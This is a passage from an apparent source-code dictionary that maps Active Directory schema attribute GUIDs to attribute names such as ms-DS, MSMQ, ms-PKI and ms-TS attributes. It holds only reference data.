"ms-DS-Is-Primary-Computer-For", "a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9": "ms-DS-isRODC", "51c9f89d-4730-468d-a2b5-1d493212d17e": ( "ms-DS-Is-Used-As-Resource-Security-Attribute" ), "fe01245a-341f-4556-951f-48c033a89050": "ms-DS-Is-User-Cachable-At-Rodc", "c523e9c0-33b5-4ac8-8923-b57b927f42f6": "ms-DS-KeyVersionNumber", "778ff5c9-6f4e-4b74-856a-d68383313910": "ms-DS-KrbTgt-Link", "5dd68c41-bfdf-438b-9b5d-39d9618bf260": "ms-DS-KrbTgt-Link-BL", "c7e7dafa-10c3-4b8b-9acd-54f11063742e": "ms-DS-Last-Failed-Interactive-Logon-Time", "8ab15858-683e-466d-877f-d640e1f9a611": "ms-DS-Last-Known-RDN", "011929e6-8b5d-4258-b64a-00b0b4949747": ( "ms-DS-Last-Successful-Interactive-Logon-Time" ), "94f2800c-531f-4aeb-975d-48ac39fd8ca4": "ms-DS-local-Effective-Deletion-Time", "4ad6016b-b0d2-4c9b-93b6-5964b17b968c": "ms-DS-local-Effective-Recycle-Time", "421f889a-472e-4fe4-8eb9-e1d0bc6071b2": "ms-DS-Lockout-Duration", "b05bda89-76af-468a-b892-1be55558ecc8": "ms-DS-Lockout-Observation-Window", "b8c8c35e-4a19-4a95-99d0-69fe4446286f": "ms-DS-Lockout-Threshold", "ad7940f8-e43a-4a42-83bc-d688e59ea605": "ms-DS-Logon-Time-Sync-Interval", "e362ed86-b728-0842-b27d-2dea7a9df218": "ms-DS-ManagedPassword", "0e78295a-c6d3-0a40-b491-d62251ffa0a6": "ms-DS-ManagedPasswordId", "f8758ef7-ac76-8843-a2ee-a26b4dcaf409": "ms-DS-ManagedPasswordInterval", "d0d62131-2d4a-d04f-99d9-1c63646229a4": "ms-DS-ManagedPasswordPreviousId", "60234769-4819-4615-a1b2-49d2f119acb5": "ms-DS-Mastered-By", "fdd337f5-4999-4fce-b252-8ff9c9b43875": "ms-DS-Maximum-Password-Age", "d1e169a4-ebe9-49bf-8fcb-8aef3874592d": "ms-DS-Max-Values", "cbf7e6cd-85a4-4314-8939-8bfe80597835": "ms-DS-Members-For-Az-Role", "ececcd20-a7e0-4688-9ccf-02ece5e287f5": "ms-DS-Members-For-Az-Role-BL", "4d371c11-4cad-4c41-8ad2-b180ab2bd13c": "ms-DS-Members-Of-Resource-Property-List", "7469b704-edb0-4568-a5a5-59f4862c75a7": ( "ms-DS-Members-Of-Resource-Property-List-BL" ), "2a74f878-4d9c-49f9-97b3-6767d1cbd9a3": "ms-DS-Minimum-Password-Age", "b21b3439-4c3a-441c-bb5f-08f20e9b315e": "ms-DS-Minimum-Password-Length", "97de9615-b537-46bc-ac0f-10720f3909f3": "ms-DS-NC-Replica-Locations", "f547511c-5b2a-44cc-8358-992a88258164": "ms-DS-NC-RO-Replica-Locations-BL", "3df793df-9858-4417-a701-735a1ecebf74": "ms-DS-NC-RO-Replica-Locations", "8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc": "ms-DS-NC-Repl-Cursors", "9edba85a-3e9e-431b-9b1a-a5b6e9eda796": "ms-DS-NC-Repl-Inbound-Neighbors", "855f2ef5-a1c5-4cc4-ba6d-32522848b61f": "ms-DS-NC-Repl-Outbound-Neighbors", "5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9": "ms-DS-NC-Type", "15585999-fd49-4d66-b25d-eeb96aba8174": "ms-DS-Never-Reveal-Group", "2de144fc-1f52-486f-bdf4-16fcc3084e54": "ms-DS-Non-Security-Group-Extra-Classes", "cafcb1de-f23c-46b5-adf7-1e64957bd5db": "ms-DS-Non-Members", "2a8c68fc-3a7a-4e87-8720-fe77c51cbe74": "ms-DS-Non-Members-BL", "638ec2e8-22e7-409c-85d2-11b21bee72de": "ms-DS-Object-Reference", "2b702515-c1f7-4b3b-b148-c0e4c6ceecb4": "ms-DS-Object-Reference-BL", "f9c9a57c-3941-438d-bebf-0edaf2aca187": "ms-DS-OIDToGroup-Link", "1a3d0d20-5844-4199-ad25-0f5039a76ada": "ms-DS-OIDToGroup-Link-BL", "93f701be-fa4c-43b6-bc2f-4dbea718ffab": "ms-DS-Operations-For-Az-Role", "f85b6228-3734-4525-b6b7-3f3bb220902c": "ms-DS-Operations-For-Az-Role-BL", "1aacb436-2e9d-44a9-9298-ce4debeb6ebf": "ms-DS-Operations-For-Az-Task", "a637d211-5739-4ed1-89b2-88974548bc59": "ms-DS-Operations-For-Az-Task-BL", "8a0560c1-97b9-4811-9db7-dc061598965b": "ms-DS-Optional-Feature-Flags", "9b88bda8-dd82-4998-a91d-5f2d2baf1927": "ms-DS-Optional-Feature-GUID", "79d2f34c-9d7d-42bb-838f-866b3e4400e2": "ms-DS-Other-Settings", "db68054b-c9c3-4bf0-b15b-0fb52552a610": "ms-DS-Password-Complexity-Enabled", "fed81bb7-768c-4c2f-9641-2245de34794d": "ms-DS-Password-History-Length", "75ccdd8f-af6c-4487-bb4b-69e4d38a959c": ( "ms-DS-Password-Reversible-Encryption-Enabled" ), "456374ac-1f0a-4617-93cf-bc55a7c9d341": "ms-DS-Password-Settings-Precedence", "d161adf0-ca24-4993-a3aa-8b2c981302e8": "MS-DS-Per-User-Trust-Quota", "8b70a6c6-50f9-4fa3-a71e-1ce03040449b": "MS-DS-Per-User-Trust-Tombstones-Quota", "5bd5208d-e5f4-46ae-a514-543bc9c47659": "ms-DS-Phonetic-Company-Name", "6cd53daf-003e-49e7-a702-6fa896e7a6ef": "ms-DS-Phonetic-Department", "e21a94e4-2d66-4ce5-b30d-0ef87a776ff0": "ms-DS-Phonetic-Display-Name", "4b1cba4e-302f-4134-ac7c-f01f6c797843": "ms-DS-Phonetic-First-Name", "f217e4ec-0836-4b90-88af-2f5d4bbda2bc": "ms-DS-Phonetic-Last-Name", "977225c1-5bdf-42b7-b6db-c3af077f558f": "ms-DS-Port-LDAP", "2c85cfc2-2061-468c-a0ea-c8e0910f7374": "ms-DS-Port-SSL", "d921b50a-0ab2-42cd-87f6-09cf83a91854": "ms-DS-Preferred-GC-Site", "a13df4e2-dbb0-4ceb-828b-8b2e143e9e81": "ms-DS-Primary-Computer", "564e9325-d057-c143-9e3b-4f9e5ef46f93": "ms-DS-Principal-Name", "c881b4e2-43c0-4ebe-b9bb-5250aa9b434c": "ms-DS-Promotion-Settings", "5e6cf031-bda8-43c8-aca4-8fee4127005b": "ms-DS-PSO-Applied", "64c80f48-cdd2-4881-a86d-4e97b6f561fc": "ms-DS-PSO-Applies-To", "fbb9a00d-3a8c-4233-9cf9-7189264903a1": "ms-DS-Quota-Amount", "6655b152-101c-48b4-b347-e1fcebc60157": "ms-DS-Quota-Effective", "16378906-4ea5-49be-a8d1-bfd41dff4f65": "ms-DS-Quota-Trustee", "b5a84308-615d-4bb7-b05f-2f1746aa439f": "ms-DS-Quota-Used", "d7c53242-724e-4c39-9d4c-2df8c9d66c7a": "ms-DS-Repl-Attribute-Meta-Data", "6e124d4f-1a3f-4cc6-8e09-4a54c81b1d50": "ms-DS-Repl-Authentication-Mode", "85abd4f4-0a89-4e49-bdec-6f35bb2562ba": "ms-DS-Replication-Notify-First-DSA-Delay", "d63db385-dd92-4b52-b1d8-0d3ecc0e86b6": ( "ms-DS-Replication-Notify-Subsequent-DSA-Delay" ), "08e3aa79-eb1c-45b5-af7b-8f94246c8e41": "ms-DS-ReplicationEpoch", "2f5c8145-e1bd-410b-8957-8bfa81d5acfd": "ms-DS-Repl-Value-Meta-Data", "eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2": "ms-DS-Required-Domain-Behavior-Version", "4beca2e8-a653-41b2-8fee-721575474bec": "ms-DS-Required-Forest-Behavior-Version", "b77ea093-88d0-4780-9a98-911f8e8b1dca": "ms-DS-Resultant-PSO", "d5b35506-19d6-4d26-9afb-11357ac99b5e": "ms-DS-Retired-Repl-NC-Signatures", "94f6f2ac-c76d-4b5e-b71f-f332c3e93c22": "ms-DS-Revealed-DSAs", "cbdad11c-7fec-387b-6219-3a0627d9af81": "ms-DS-Revealed-List", "aa1c88fd-b0f6-429f-b2ca-9d902266e808": "ms-DS-Revealed-List-BL", "185c7821-3749-443a-bd6a-288899071adb": "ms-DS-Revealed-Users", "303d9f4a-1dd6-4b38-8fc5-33afe8c988ad": "ms-DS-Reveal-OnDemand-Group", "b39a61be-ed07-4cab-9a4a-4963ed0141e1": "ms-ds-Schema-Extensions", "454588e6-0b4e-b642-a6b8-ec03f6e1d9c5": "ms-DS-SCP-Container", "4c51e316-f628-43a5-b06b-ffb695fcb4f3": "ms-DS-SD-Reference-Domain", "aa156612-2396-467e-ad6a-28d23fdb1865": "ms-DS-Secondary-KrbTgt-Number", "4f146ae8-a4fe-4801-a731-f51848a4f4e4": "ms-DS-Security-Group-Extra-Classes", "ce7ba5d4-f090-4741-acc3-15e2c95555da": "ms-DS-Seniority-Index", "a7f73651-688b-401e-b0cf-9345857bab23": "ms-DS-Service-Account", "1322c9ff-1334-3d4a-9396-4d9284d42636": "ms-DS-Service-Account-BL", "fba633d4-20d7-4773-8b2c-c7445f54360d": "ms-DS-Service-Account-DNS-Domain", "0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21": "ms-DS-Settings", "c17c5602-bcb7-46f0-9656-6370ca884b72": "ms-DS-Site-Affinity", "98a7f36d-3595-448a-9e6f-6b8965baed9c": "ms-DS-SiteName", "773e93af-d3b4-48d4-b3f9-06457602d3d0": "ms-DS-Source-Object-DN", "789ee1eb-8c8e-4e4c-8cec-79b31b7617b5": "ms-DS-SPN-Suffixes", "20119867-1d04-4ab7-9371-cfc3d5df0afd": "ms-DS-Supported-Encryption-Types", "35319082-8c4a-4646-9386-c2949d49894d": "ms-DS-Tasks-For-Az-Role", "a0dcd536-5158-42fe-8c40-c00a7ad37959": "ms-DS-Tasks-For-Az-Role-BL", "b11c8ee2-5fcd-46a7-95f0-f38333f096cf": "ms-DS-Tasks-For-Az-Task", "df446e52-b5fa-4ca2-a42f-13f98a526c8f": "ms-DS-Tasks-For-Az-Task-BL", "d5006229-9913-2242-8b17-83761d1e0e5b": "ms-DS-TDO-Egress-BL", "5a5661a1-97c6-544b-8056-e430fe7bc554": "ms-DS-TDO-Ingress-BL", "461744d7-f3b6-45ba-8753-fb9552a5df32": "ms-DS-Tombstone-Quota-Factor", "7b7cce4f-f1f5-4bb6-b7eb-23504af19e75": "ms-DS-Top-Quota-Usage", "55872b71-c4b2-3b48-ae51-4095f91ec600": "ms-DS-Transformation-Rules", "0bb49a10-536b-bc4d-a273-0bab0dd4bd10": "ms-DS-Transformation-Rules-Compiled", "29cc866e-49d3-4969-942e-1dbc0925d183": "ms-DS-Trust-Forest-Trust-Info", "146eb639-bb9f-4fc1-a825-e29e00c77920": "ms-DS-UpdateScript", "2cc4b836-b63f-4940-8d23-ea7acf06af56": "ms-DS-User-Account-Control-Computed", "7c708658-7372-4211-b22b-13a45ffd1d61": "ms-DS-User-Account-Disabled", "8788193a-2925-43d9-a221-bb7fff397675": "ms-DS-User-Dont-Expire-Password", "565c7ab5-e13e-47f6-abb5-de741806f125": "ms-DS-User-Password-Expired", "add5cf10-7b09-4449-9ae6-2534148f8a72": "ms-DS-User-Password-Expiry-Time-Computed", "31f7b8b6-c9f8-4f2d-a37b-58a823030331": "ms-DS-USN-Last-Sync-Success", "78fc5d84-c1dc-3148-8984-58f792d41d3e": "ms-DS-Value-Type-Reference", "ab5543ad-23a1-3b45-b937-9b313d5474a8": "ms-DS-Value-Type-Reference-BL", "a8df7394-c5ea-11d1-bbcb-0080c76670c0": "ms-Exch-Assistant-Name", "a8df7407-c5ea-11d1-bbcb-0080c76670c0": "ms-Exch-House-Identifier", "16775820-47f3-11d1-a9c3-0000f80367c1": "ms-Exch-LabeledURI", "5643ff81-35b6-4ca9-9512-baf0bd0a2772": "ms-FRS-Hub-Member", "92aa27e0-5c50-402d-9ec1-ee847def9788": "ms-FRS-Topology-Pref", "1fd55ea8-88a7-47dc-8129-0daa97186a54": "ms-FVE-KeyPackage", "f76909bc-e678-47a0-b0b3-f86a0044c06d": "ms-FVE-RecoveryGuid", "43061ac1-c8ad-4ccc-b785-2bfac20fc60a": "ms-FVE-RecoveryPassword", "85e5a5cf-dcee-4075-9cfd-ac9db6a2f245": "ms-FVE-VolumeGuid", "0e0d0938-2658-4580-a9f6-7a0ac7b566cb": "ms-ieee-80211-Data", "6558b180-35da-4efe-beed-521f8f48cafb": "ms-ieee-80211-Data-Type", "7f73ef75-14c9-4c23-81de-dd07a06f9e8b": "ms-ieee-80211-ID", "7bfdcb7d-4807-11d1-a9c3-0000f80367c1": "Msi-File-List", "8a5c99e9-2230-46eb-b8e8-e59d712eb9ee": "ms-IIS-FTP-Dir", "2a7827a4-1483-49a5-9d84-52e3812156b4": "ms-IIS-FTP-Root", "8ae70db5-6406-4196-92fe-f3bb557520a7": "ms-Imaging-Hash-Algorithm", "51583ce9-94fa-4b12-b990-304c35b18595": "ms-Imaging-PSP-Identifier", "7b6760ae-d6ed-44a6-b6be-9de62c09ec67": "ms-Imaging-PSP-String", "9cdfdbc5-0304-4569-95f6-c4f663fe5ae6": "ms-Imaging-Thumbprint-Hash", "d9e18313-8939-11d1-aebc-0000f80367c1": "Msi-Script", "96a7dd62-9118-11d1-aebc-0000f80367c1": "Msi-Script-Name", "bf967937-0de6-11d0-a285-00aa003049e2": "Msi-Script-Path", "96a7dd63-9118-11d1-aebc-0000f80367c1": "Msi-Script-Size", "ae18119f-6390-0045-b32d-97dbc701aef7": "ms-Kds-CreateTime", "96400482-cf07-e94c-90e8-f2efc4f0495e": "ms-Kds-DomainID", "db2c48b2-d14d-ec4e-9f58-ad579d8b440e": "ms-Kds-KDF-AlgorithmID", "8a800772-f4b8-154f-b41c-2e4271eff7a7": "ms-Kds-KDF-Param", "615f42a1-37e7-1148-a0dd-3007e09cfc81": "ms-Kds-PrivateKey-Length", "e338f470-39cd-4549-ab5b-f69f9e583fe0": "ms-Kds-PublicKey-Length", "26627c27-08a2-0a40-a1b1-8dce85b42993": "ms-Kds-RootKeyData", "1702975d-225e-cb4a-b15d-0daea8b5e990": "ms-Kds-SecretAgreement-AlgorithmID", "30b099d9-edfe-7549-b807-eba444da79e9": "ms-Kds-SecretAgreement-Param", "6cdc047f-f522-b74a-9a9c-d95ac8cdfda2": "ms-Kds-UseStartTime", "d5f07340-e6b0-1e4a-97be-0d3318bd9db1": "ms-Kds-Version", "1d2f4412-f10d-4337-9b48-6e5b125cd265": "MSMQ-Multicast-Address", "3bfe6748-b544-485a-b067-1b310c4334bf": "MSMQ-Recipient-FormatName", "8bf0221b-7a06-4d63-91f0-1499941813d3": "MSMQ-Secured-Source", "9a0dc326-c100-11d1-bbc5-0080c76670c0": "MSMQ-Authenticate", "9a0dc323-c100-11d1-bbc5-0080c76670c0": "MSMQ-Base-Priority", "9a0dc32e-c100-11d1-bbc5-0080c76670c0": "MSMQ-Computer-Type", "18120de8-f4c4-4341-bd95-32eb5bcf7c80": "MSMQ-Computer-Type-Ex", "9a0dc33a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Cost", "9a0dc334-c100-11d1-bbc5-0080c76670c0": "MSMQ-CSP-Name", "2df90d83-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Service", "2df90d76-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Services", "9a0dc33c-c100-11d1-bbc5-0080c76670c0": "MSMQ-Digests", "0f71d8e0-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Digests-Mig", "2df90d82-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Service", "2df90d78-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Services", "9a0dc331-c100-11d1-bbc5-0080c76670c0": "MSMQ-Encrypt-Key", "9a0dc32f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Foreign", "9a0dc32c-c100-11d1-bbc5-0080c76670c0": "MSMQ-In-Routing-Servers", "8ea825aa-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval1", "99b88f52-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval2", "9a0dc321-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal", "9a0dc324-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal-Quota", "9a0dc325-c100-11d1-bbc5-0080c76670c0": "MSMQ-Label", "4580ad25-d407-48d2-ad24-43e6e56793d7": "MSMQ-Label-Ex", "9a0dc335-c100-11d1-bbc5-0080c76670c0": "MSMQ-Long-Lived", "9a0dc33f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Migrated", "9a0dc333-c100-11d1-bbc5-0080c76670c0": "MSMQ-Name-Style", "eb38a158-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Flags", "6f914be6-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Stub", "9a0dc330-c100-11d1-bbc5-0080c76670c0": "MSMQ-OS-Type", "9a0dc32b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Out-Routing-Servers", "9a0dc328-c100-11d1-bbc5-0080c76670c0": "MSMQ-Owner-ID", "2df90d75-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Prev-Site-Gates", "9a0dc327-c100-11d1-bbc5-0080c76670c0": "MSMQ-Privacy-Level", "9a0dc33e-c100-11d1-bbc5-0080c76670c0": "MSMQ-QM-ID", "8e441266-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Journal-Quota", "2df90d87-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Queue-Name-Ext", "3f6b8e12-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Quota", "9a0dc320-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue-Type", "9a0dc322-c100-11d1-bbc5-0080c76670c0": "MSMQ-Quota", "2df90d81-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Service", "2df90d77-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Services", "9a0dc33d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Services", "9a0dc32d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Service-Type", "9a0dc33b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Certificates", "3881b8ea-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Sign-Certificates-Mig", "9a0dc332-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Key", "9a0dc337-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-1", "9a0dc338-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-2", "fd129d8a-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Site-Foreign", "9a0dc339-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Gates", "e2704852-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Site-Gates-Mig", "9a0dc340-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-ID", "ffadb4b2-de39-11d1-90a5-00c04fd91ab1": "MSMQ-Site-Name", "422144fa-c17f-4649-94d6-9731ed2784ed": "MSMQ-Site-Name-Ex", "9a0dc32a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sites", "9a0dc329-c100-11d1-bbc5-0080c76670c0": "MSMQ-Transactional", "c58aae32-56f9-11d2-90d0-00c04fd91ab1": "MSMQ-User-Sid", "9a0dc336-c100-11d1-bbc5-0080c76670c0": "MSMQ-Version", "db0c9085-c1f2-11d1-bbc5-0080c76670c0": "msNPAllowDialin", "db0c9089-c1f2-11d1-bbc5-0080c76670c0": "msNPCalledStationID", "db0c908a-c1f2-11d1-bbc5-0080c76670c0": "msNPCallingStationID", "db0c908e-c1f2-11d1-bbc5-0080c76670c0": "msNPSavedCallingStationID", "3164c36a-ba26-468c-8bda-c1e5cc256728": "ms-PKI-Cert-Template-OID", "dbd90548-aa37-4202-9966-8c537ba5ce32": "ms-PKI-Certificate-Application-Policy", "ea1dddc4-60ff-416e-8cc0-17cee534bce7": "ms-PKI-Certificate-Name-Flag", "38942346-cc5b-424b-a7d8-6ffd12029c5f": "ms-PKI-Certificate-Policy", "b7ff5a38-0818-42b0-8110-d3d154c97f24": "ms-PKI-Credential-Roaming-Tokens", "d15ef7d8-f226-46db-ae79-b34e560bd12c": "ms-PKI-Enrollment-Flag", "f22bd38f-a1d0-4832-8b28-0331438886a6": "ms-PKI-Enrollment-Servers", "e96a63f5-417f-46d3-be52-db7703c503df": "ms-PKI-Minimal-Key-Size", "8c9e1288-5028-4f4f-a704-76d026f246ef": "ms-PKI-OID-Attribute", "5f49940e-a79f-4a51-bb6f-3d446a54dc6b": "ms-PKI-OID-CPS", "04c4da7a-e114-4e69-88de-e293f2d3b395": "ms-PKI-OID-User-Notice", "7d59a816-bb05-4a72-971f-5c1331f67559": "ms-PKI-OID-LocalizedName", "bab04ac2-0435-4709-9307-28380e7c7001": "ms-PKI-Private-Key-Flag", "3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a": "ms-PKI-RA-Application-Policies", "d546ae22-0951-4d47-817e-1c9f96faad46": "ms-PKI-RA-Policies", "fe17e04b-937d-4f7e-8e0e-9292c8d5683e": "ms-PKI-RA-Signature", "0cd8711f-0afc-4926-a4b1-09b08d3d436c": "ms-PKI-Site-Name", "9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7": "ms-PKI-Supersede-Templates", "13f5236c-1884-46b1-b5d0-484e38990d58": "ms-PKI-Template-Minor-Revision", "0c15e9f5-491d-4594-918f-32813a091da9": "ms-PKI-Template-Schema-Version", "b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7": "ms-PKI-AccountCredentials", "b3f93023-9239-4f7c-b99c-6745d87adbc2": "ms-PKI-DPAPIMasterKeys", "6617e4ac-a2f1-43ab-b60c-11fbd1facf05": "ms-PKI-RoamingTimeStamp", "a6f24a23-d65c-4d65-a64f-35fb6873c2b9": "ms-RADIUS-FramedInterfaceId", "f63ed610-d67c-494d-87be-cd1e24359a38": "ms-RADIUS-FramedIpv6Prefix", "5a5aa804-3083-4863-94e5-018a79a22ec0": "ms-RADIUS-FramedIpv6Route", "a4da7289-92a3-42e5-b6b6-dad16d280ac9": "ms-RADIUS-SavedFramedInterfaceId", "0965a062-b1e1-403b-b48d-5c0eb0e952cc": "ms-RADIUS-SavedFramedIpv6Prefix", "9666bb5c-df9d-4d41-b437-2eec7e27c9b3": "ms-RADIUS-SavedFramedIpv6Route", "db0c909c-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSCallbackNumber", "db0c90a4-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedIPAddress", "db0c90a9-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedRoute", "db0c90b6-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSServiceType", "db0c90c5-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedCallbackNumber", "db0c90c6-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedIPAddress", "db0c90c7-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedRoute", "f39b98ad-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Attribute", "f39b98ac-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Vendor-Attribute-Entry", "20ebf171-c69a-4c31-b29d-dcb837d8912d": "msSFU-30-Aliases", "4503d2a3-3d70-41b8-b077-dff123c15865": "msSFU-30-Crypt-Method", "93095ed3-6f30-4bdd-b734-65d569f5f7c9": "msSFU-30-Domains", "a2e11a42-e781-4ca1-a7fa-ec307f62b6a1": "msSFU-30-Field-Separator", "95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8": "msSFU-30-Intra-Field-Separator", "0dea42f5-278d-4157-b4a7-49b59664915b": "msSFU-30-Is-Valid-Container", "32ecd698-ce9e-4894-a134-7ad76b082e83": "msSFU-30-Key-Attributes", "37830235-e5e9-46f2-922b-d8d44f03e7ae": "msSFU-30-Key-Values", "b7b16e01-024f-4e23-ad0d-71f1a406b684": "msSFU-30-Map-Filter", "4cc908a2-9e18-410e-8459-f17cc422020a": "msSFU-30-Master-Server-Name", "04ee6aa6-f83b-469a-bf5a-3c00d3634669": "msSFU-30-Max-Gid-Number", "ec998437-d944-4a28-8500-217588adfc75": "msSFU-30-Max-Uid-Number", "16c5d1d3-35c2-4061-a870-a5cefda804f0": "msSFU-30-Name", "97d2bf65-0466-4852-a25a-ec20f57ee36c": "msSFU-30-Netgroup-Host-At-Domain", "a9e84eed-e630-4b67-b4b3-cad2a82d345e": "msSFU-30-Netgroup-User-At-Domain", "9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2": "msSFU-30-Nis-Domain", "585c9d5e-f599-4f07-9cf9-4373af4b89d3": "msSFU-30-NSMAP-Field-Position", "02625f05-d1ee-4f9f-b366-55266becb95c": "msSFU-30-Order-Number", "c875d82d-2848-4cec-bb50-3c5486d09d57": "msSFU-30-Posix-Member", "7bd76b92-3244-438a-ada6-24f5ea34381e": "msSFU-30-Posix-Member-Of", "e167b0b6-4045-4433-ac35-53f972d45cba": "msSFU-30-Result-Attributes", "ef9a2df0-2e57-48c8-8950-0cc674004733": "msSFU-30-Search-Attributes", "27eebfa2-fbeb-4f8e-aad6-c50247994291": "msSFU-30-Search-Container", "084a944b-e150-4bfe-9345-40e1aedaebba": "msSFU-30-Yp-Servers", "0353c4b5-d199-40b0-b3c5-deb32fd9ec06": "ms-SPP-Config-License", "6e8797c4-acda-4a49-8740-b0bd05a9b831": "ms-SPP-Confirmation-Id", "a601b091-8652-453a-b386-87ad239b7c08": "ms-SPP-CSVLK-Partial-Product-Key", "b47f510d-6b50-47e1-b556-772c79e4ffc4": "ms-SPP-CSVLK-Pid", "9684f739-7b78-476d-8d74-31ad7692eef4": "ms-SPP-CSVLK-Sku-Id", "69bfb114-407b-4739-a213-c663802b3e37": "ms-SPP-Installation-Id", "1075b3a1-bbaf-49d2-ae8d-c4f25c823303": "ms-SPP-Issuance-License", "9b663eda-3542-46d6-9df0-314025af2bac": "ms-SPP-KMS-Ids", "098f368e-4812-48cd-afb7-a136b96807ed": "ms-SPP-Online-License", "67e4d912-f362-4052-8c79-42f45ba7b221": "ms-SPP-Phone-License", "4cc4601e-7201-4141-abc8-3e529ae88863": "ms-TAPI-Conference-Blob", "efd7d7f7-178e-4767-87fa-f8a16b840544": "ms-TAPI-Ip-Address", "89c1ebcf-7a5f-41fd-99ca-c900b32299ab": "ms-TAPI-Protocol-Id", "70a4e7ea-b3b9-4643-8918-e6dd2471bfd4": "ms-TAPI-Unique-Identifier", "aa4e1a6d-550d-4e05-8c35-4afcb917a9fe": "ms-TPM-OwnerInformation", "c894809d-b513-4ff8-8811-f4f43f5ac7bc": "ms-TPM-Owner-Information-Temp", "19d706eb-4d76-44a2-85d6-1c342be3be37": "ms-TPM-Srk-Pub-Thumbprint", "ea1b7b93-5e48-46d5-bc6c-4df4fda78a35": "ms-TPM-Tpm-Information-For-Computer", "14fa84c9-8ecd-4348-bc91-6d3ced472ab7": "ms-TPM-Tpm-Information-For-Computer-BL", "3a0cd464-bc54-40e7-93ae-a646a6ecc4b4": "ms-TS-Allow-Logon", "1cf41bba-5604-463e-94d6-1a1287b72ca3": "ms-TS-Broken-Connection-Action", "23572aaf-29dd-44ea-b0fa-7e8438b9a4a3": "ms-TS-Connect-Client-Drives", "8ce6a937-871b-4c92-b285-d99d4036681c": "ms-TS-Connect-Printer-Drives", "c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6": "ms-TS-Default-To-Main-Printer", "40e1c407-4344-40f3-ab43-3625a34a63a2": "ms-TS-Endpoint-Data", "3c08b569-801f-4158-b17b-e363d6ae696a": "ms-TS-Endpoint-Plugin", "377ade80-e2d8-46c5-9bcd-6d9dec93b35e": "ms-TS-Endpoint-Type", "70004ef5-25c3-446a-97c8-996ae8566776": "MS-TS-ExpireDate", "54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925": "MS-TS-ExpireDate2", "41bc7f04-be72-4930-bd10-1f3439412387": "MS-TS-ExpireDate3", "5e11dc43-204a-4faf-a008-6863621c6f5f": "MS-TS-ExpireDate4", "5d3510f0-c4e7-4122-b91f-a20add90e246": "ms-TS-Home-Directory", "5f0a24d9-dffa-4cd9-acbf-a0680c03731e": "ms-TS-Home-Drive", "9201ac6f-1d69-4dfb-802e-d95510109599": "ms-TS-Initial-Program", "0ae94a89-372f-4df2-ae8a-c64a2bc47278": "MS-TS-LicenseVersion", "4b0df103-8d97-45d9-ad69-85c3080ba4e7": "MS-TS-LicenseVersion2", "f8ba8f81-4cab-4973-a3c8-3a6da62a5e31": "MS-TS-LicenseVersion3", "70ca5d97-2304-490a-8a27-52678c8d2095": "MS-TS-LicenseVersion4", "87e53590-971d-4a52-955b-4794d15a84ae": "MS-TSLS-Property01", "47c77bb0-316e-4e2f-97f1-0d4c48fca9dd": "MS-TSLS-Property02", "f3bcc547-85b0-432c-9ac0-304506bf2c83": "MS-TS-ManagingLS", "349f0757-51bd-4fc8-9d66-3eceea8a25be": "MS-TS-ManagingLS2", "fad5dcc1-2130-4c87-a118-75322cd67050": "MS-TS-ManagingLS3", "f7a3b6a0-2107-4140-b306-75cb521731e5": "MS-TS-ManagingLS4", "1d960ee2-6464-4e95-a781-e3b5cd5f9588": "ms-TS-Max-Connection-Time", "326f7089-53d8-4784-b814-46d8535110d2": "ms-TS-Max-Disconnection-Time", "ff739e9c-6bb7-460e-b221-e250f3de0f95": "ms-TS-Max-Idle-Time", "29259694-09e4-4237-9f72-9306ebe63ab2": "ms-TS-Primary-Desktop", "9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa": "ms-TS-Primary-Desktop-BL", 